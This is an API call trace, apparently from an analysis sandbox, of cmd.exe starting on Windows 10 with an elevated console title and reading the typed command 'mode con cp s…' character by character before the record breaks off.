	[0040.139] _wcsicmp (_String1="KEYS", _String2="TIME") returned -9
	[0040.139] _wcsicmp (_String1="KEYS", _String2="RANDOM") returned -7
	[0040.140] _wcsicmp (_String1="KEYS", _String2="HIGHESTNUMANODENUMBER") returned 3
	[0040.140] malloc (_Size=0xffce) returned 0x286ddfe0040
	[0040.140] ??_V@YAXPEAX@Z () returned 0x286ddfe0040
	[0040.140] GetProcessHeap () returned 0x286dddf0000
	[0040.140] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x40) returned 0x286dddf84b0
	[0040.140] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x286ddfe0040 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0040.140] GetFullPathNameW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", nBufferLength=0x7fe7, lpBuffer=0x286ddfe0040, lpFilePart=0xc2d1b0f670 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop", lpFilePart=0xc2d1b0f670*="Desktop") returned 0x17
	[0040.141] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0040.141] FindFirstFileW (in: lpFileName="C:\\Users", lpFindFileData=0xc2d1b0f3a0 | out: lpFindFileData=0xc2d1b0f3a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x6c4849dd, ftCreationTime.dwHighDateTime=0x1d29fdc, ftLastAccessTime.dwLowDateTime=0x475bb883, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0x475bb883, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 0x286dddf8500
	[0040.141] FindClose (in: hFindFile=0x286dddf8500 | out: hFindFile=0x286dddf8500) returned 1
	[0040.141] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy", lpFindFileData=0xc2d1b0f3a0 | out: lpFindFileData=0xc2d1b0f3a0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x20fc850f, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0x9de5855d, ftLastAccessTime.dwHighDateTime=0x1d32744, ftLastWriteTime.dwLowDateTime=0x9de5855d, ftLastWriteTime.dwHighDateTime=0x1d32744, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="FD1HVy", cAlternateFileName="")) returned 0x286dddf8500
	[0040.141] FindClose (in: hFindFile=0x286dddf8500 | out: hFindFile=0x286dddf8500) returned 1
	[0040.141] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop", lpFindFileData=0xc2d1b0f3a0 | out: lpFindFileData=0xc2d1b0f3a0*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x864dfcc3, ftLastAccessTime.dwHighDateTime=0x1d50839, ftLastWriteTime.dwLowDateTime=0x864dfcc3, ftLastWriteTime.dwHighDateTime=0x1d50839, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Desktop", cAlternateFileName="")) returned 0x286dddf8500
	[0040.141] FindClose (in: hFindFile=0x286dddf8500 | out: hFindFile=0x286dddf8500) returned 1
	[0040.141] GetFileAttributesW (lpFileName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 0x11
	[0040.141] SetCurrentDirectoryW (lpPathName="C:\\Users\\FD1HVy\\Desktop" (normalized: "c:\\users\\fd1hvy\\desktop")) returned 1
	[0040.141] SetEnvironmentVariableW (lpName="=C:", lpValue="C:\\Users\\FD1HVy\\Desktop") returned 1
	[0040.142] GetProcessHeap () returned 0x286dddf0000
	[0040.142] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dddf7a10) returned 1
	[0040.142] GetEnvironmentStringsW () returned 0x286dddf0fc0*
	[0040.142] GetProcessHeap () returned 0x286dddf0000
	[0040.142] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0xacc) returned 0x286dddf8500
	[0040.142] FreeEnvironmentStringsA (penv="=") returned 1
	[0040.142] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x286ddfc0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0040.142] GetProcessHeap () returned 0x286dddf0000
	[0040.142] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dddf84b0) returned 1
	[0040.142] ??_V@YAXPEAX@Z () returned 0x1
	[0040.142] ??_V@YAXPEAX@Z () returned 0x1
	[0040.142] GetProcessHeap () returned 0x286dddf0000
	[0040.142] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x4016) returned 0x286dddf8fe0
	[0040.142] GetProcessHeap () returned 0x286dddf0000
	[0040.142] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dddf8fe0) returned 1
	[0040.142] GetConsoleOutputCP () returned 0x1b5
	[0040.144] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x7ff710d2fbb0 | out: lpCPInfo=0x7ff710d2fbb0) returned 1
	[0040.144] GetUserDefaultLCID () returned 0x409
	[0040.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x1e, lpLCData=0x7ff710d2bb78, cchData=8 | out: lpLCData=":") returned 2
	[0040.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x23, lpLCData=0xc2d1b0fa30, cchData=128 | out: lpLCData="0") returned 2
	[0040.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x21, lpLCData=0xc2d1b0fa30, cchData=128 | out: lpLCData="0") returned 2
	[0040.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x24, lpLCData=0xc2d1b0fa30, cchData=128 | out: lpLCData="1") returned 2
	[0040.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x1d, lpLCData=0x7ff710d2bb68, cchData=8 | out: lpLCData="/") returned 2
	[0040.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x31, lpLCData=0x7ff710d2bb00, cchData=32 | out: lpLCData="Mon") returned 4
	[0040.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x32, lpLCData=0x7ff710d2bac0, cchData=32 | out: lpLCData="Tue") returned 4
	[0040.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff710d2ba80, cchData=32 | out: lpLCData="Wed") returned 4
	[0040.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff710d2ba40, cchData=32 | out: lpLCData="Thu") returned 4
	[0040.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff710d2ba00, cchData=32 | out: lpLCData="Fri") returned 4
	[0040.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff710d2b9c0, cchData=32 | out: lpLCData="Sat") returned 4
	[0040.145] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff710d2b980, cchData=32 | out: lpLCData="Sun") returned 4
	[0040.146] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff710d2bb58, cchData=8 | out: lpLCData=".") returned 2
	[0040.146] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff710d2bb40, cchData=8 | out: lpLCData=",") returned 2
	[0040.146] setlocale (category=0, locale=".OCP") returned="English_United States.437"
	[0040.147] GetProcessHeap () returned 0x286dddf0000
	[0040.147] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x0, Size=0x20c) returned 0x286dddf6560
	[0040.147] GetConsoleTitleW (in: lpConsoleTitle=0x286dddf6560, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0040.147] _get_osfhandle (_FileHandle=1) returned 0x254
	[0040.147] GetFileType (hFile=0x254) returned 0x3
	[0040.188] ApiSetQueryApiSetPresence () returned 0x0
	[0040.188] ResolveDelayLoadedAPI () returned 0x7ff913e7d990
	[0040.304] BrandingFormatString () returned 0x286dddf1850
	[0040.566] GetVersion () returned 0x3ad7000a
	[0040.566] _vsnwprintf (in: _Buffer=0xc2d1b0fb90, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xc2d1b0fb28 | out: _Buffer="10.0.15063") returned 10
	[0040.567] _get_osfhandle (_FileHandle=1) returned 0x254
	[0040.567] GetFileType (hFile=0x254) returned 0x3
	[0040.567] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff710d37f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e
	[0040.567] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff710d37f60, nSize=0x2000, Arguments=0xc2d1b0fb30 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26
	[0040.567] _get_osfhandle (_FileHandle=1) returned 0x254
	[0040.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39
	[0040.567] WriteFile (in: hFile=0x254, lpBuffer=0x7ff710d29970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xc2d1b0fa88, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesWritten=0xc2d1b0fa88*=0x26, lpOverlapped=0x0) returned 1
	[0040.567] _vsnwprintf (in: _Buffer=0x7ff710d37f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xc2d1b0fb58 | out: _Buffer="\r\n") returned 2
	[0040.567] _get_osfhandle (_FileHandle=1) returned 0x254
	[0040.567] GetFileType (hFile=0x254) returned 0x3
	[0040.567] _get_osfhandle (_FileHandle=1) returned 0x254
	[0040.567] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0040.567] WriteFile (in: hFile=0x254, lpBuffer=0x7ff710d29970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xc2d1b0fb28, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesWritten=0xc2d1b0fb28*=0x2, lpOverlapped=0x0) returned 1
	[0040.568] _vsnwprintf (in: _Buffer=0x7ff710d37f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xc2d1b0fb58 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52
	[0040.568] _get_osfhandle (_FileHandle=1) returned 0x254
	[0040.568] GetFileType (hFile=0x254) returned 0x3
	[0040.568] _get_osfhandle (_FileHandle=1) returned 0x254
	[0040.568] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53
	[0040.568] WriteFile (in: hFile=0x254, lpBuffer=0x7ff710d29970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc2d1b0fb28, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesWritten=0xc2d1b0fb28*=0x34, lpOverlapped=0x0) returned 1
	[0040.568] _vsnwprintf (in: _Buffer=0x7ff710d37f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xc2d1b0fb58 | out: _Buffer="\r\n") returned 2
	[0040.568] _get_osfhandle (_FileHandle=1) returned 0x254
	[0040.568] GetFileType (hFile=0x254) returned 0x3
	[0040.568] _get_osfhandle (_FileHandle=1) returned 0x254
	[0040.568] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0040.568] WriteFile (in: hFile=0x254, lpBuffer=0x7ff710d29970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xc2d1b0fb28, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesWritten=0xc2d1b0fb28*=0x2, lpOverlapped=0x0) returned 1
	[0040.568] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ff92fdd0000
	[0040.568] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="CopyFileExW") returned 0x7ff92fdee830
	[0040.568] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="IsDebuggerPresent") returned 0x7ff92fdee300
	[0040.568] GetProcAddress (hModule=0x7ff92fdd0000, lpProcName="SetConsoleInputExeNameW") returned 0x7ff92f1b0a40
	[0040.568] ??_V@YAXPEAX@Z () returned 0x1
	[0040.568] _get_osfhandle (_FileHandle=0) returned 0x248
	[0040.568] GetFileType (hFile=0x248) returned 0x3
	[0040.569] _setmode (_FileHandle=0, _Mode=32768) returned 16384
	[0040.569] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xc2d1b0f998 | out: TokenHandle=0xc2d1b0f998*=0x0) returned 0xc000007c
	[0040.569] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xc2d1b0f998 | out: TokenHandle=0xc2d1b0f998*=0x94) returned 0x0
	[0040.569] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0xc2d1b0f948, TokenInformationLength=0x4, ReturnLength=0xc2d1b0f950 | out: TokenInformation=0xc2d1b0f948, ReturnLength=0xc2d1b0f950) returned 0x0
	[0040.569] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0xc2d1b0f950, TokenInformationLength=0x4, ReturnLength=0xc2d1b0f948 | out: TokenInformation=0xc2d1b0f950, ReturnLength=0xc2d1b0f948) returned 0x0
	[0040.569] NtClose (Handle=0x94) returned 0x0
	[0040.569] FormatMessageW (in: dwFlags=0x1900, lpSource=0x0, dwMessageId=0x40002748, dwLanguageId=0x0, lpBuffer=0xc2d1b0f960, nSize=0x0, Arguments=0xc2d1b0f968 | out: lpBuffer="\x8320\xdddf\x286") returned 0xf
	[0040.569] GetProcessHeap () returned 0x286dddf0000
	[0040.569] RtlAllocateHeap (HeapHandle=0x286dddf0000, Flags=0x8, Size=0x218) returned 0x286dddf6c30
	[0040.632] GetConsoleTitleW (in: lpConsoleTitle=0xc2d1b0f9b0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c
	[0040.781] wcsstr (_Str="C:\\WINDOWS\\system32\\cmd.exe", _SubStr="Administrator: ") returned 0x0
	[0040.781] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\WINDOWS\\system32\\cmd.exe") returned 1
	[0041.008] GetProcessHeap () returned 0x286dddf0000
	[0041.008] RtlFreeHeap (HeapHandle=0x286dddf0000, Flags=0x0, BaseAddress=0x286dddf6c30) returned 1
	[0041.008] LocalFree (hMem=0x286dddf8320) returned 0x0
	[0041.009] _vsnwprintf (in: _Buffer=0x7ff710d37f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xc2d1b0f7d8 | out: _Buffer="\r\n") returned 2
	[0041.009] _get_osfhandle (_FileHandle=1) returned 0x254
	[0041.010] GetFileType (hFile=0x254) returned 0x3
	[0041.010] _get_osfhandle (_FileHandle=1) returned 0x254
	[0041.010] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3
	[0041.010] WriteFile (in: hFile=0x254, lpBuffer=0x7ff710d29970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xc2d1b0f7a8, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesWritten=0xc2d1b0f7a8*=0x2, lpOverlapped=0x0) returned 1
	[0041.010] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff710d2bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4
	[0041.010] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x286ddfc0080 | out: lpBuffer="C:\\Users\\FD1HVy\\Desktop") returned 0x17
	[0041.010] malloc (_Size=0x107ce) returned 0x286ddfd0060
	[0041.010] _vsnwprintf (in: _Buffer=0x286ddfd0060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xc2d1b0f7e8 | out: _Buffer="C:\\Users\\FD1HVy\\Desktop") returned 23
	[0041.010] _vsnwprintf (in: _Buffer=0x286ddfd008e, _BufferCount=0x83ce, _Format="%c", _ArgList=0xc2d1b0f7e8 | out: _Buffer=">") returned 1
	[0041.010] _get_osfhandle (_FileHandle=1) returned 0x254
	[0041.010] GetFileType (hFile=0x254) returned 0x3
	[0041.011] _get_osfhandle (_FileHandle=1) returned 0x254
	[0041.011] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\FD1HVy\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\FD1HVy\\Desktop>", lpUsedDefaultChar=0x0) returned 25
	[0041.011] WriteFile (in: hFile=0x254, lpBuffer=0x7ff710d29970*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0xc2d1b0f7d8, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesWritten=0xc2d1b0f7d8*=0x18, lpOverlapped=0x0) returned 1
	[0041.011] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.011] GetFileType (hFile=0x248) returned 0x3
	[0041.011] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.011] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.011] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.011] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1
	[0041.011] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.011] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.011] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.011] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0041.011] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.011] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.011] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.012] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1
	[0041.012] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.012] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.012] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.012] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1
	[0041.012] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.012] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.012] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.012] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0041.012] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.012] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.012] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.012] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0041.012] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.012] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.012] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.012] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1
	[0041.012] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.012] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.012] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.012] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1
	[0041.012] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.012] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.012] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.012] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0041.012] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.012] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.012] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.012] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1
	[0041.012] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.012] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.013] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.013] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1
	[0041.013] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.013] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.013] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.013] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1
	[0041.013] _get_osfhandle (_FileHandle=0) returned 0x248
	[0041.013] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0041.013] ReadFile (in: hFile=0x248, lpBuffer=0x7ff710d29970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc2d1b0fb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff710d29970*, lpNumberOfBytesRead=0xc2d1b0fb38*=0x1, lpOverlapped=0x0) returned 1
	[0041.013] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff710d29970, cbMultiByte=1, lpWideCharStr=0x7ff710d33c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1
	[0041.013] _get_osfhandle (_FileHandle=0) returned 0x248
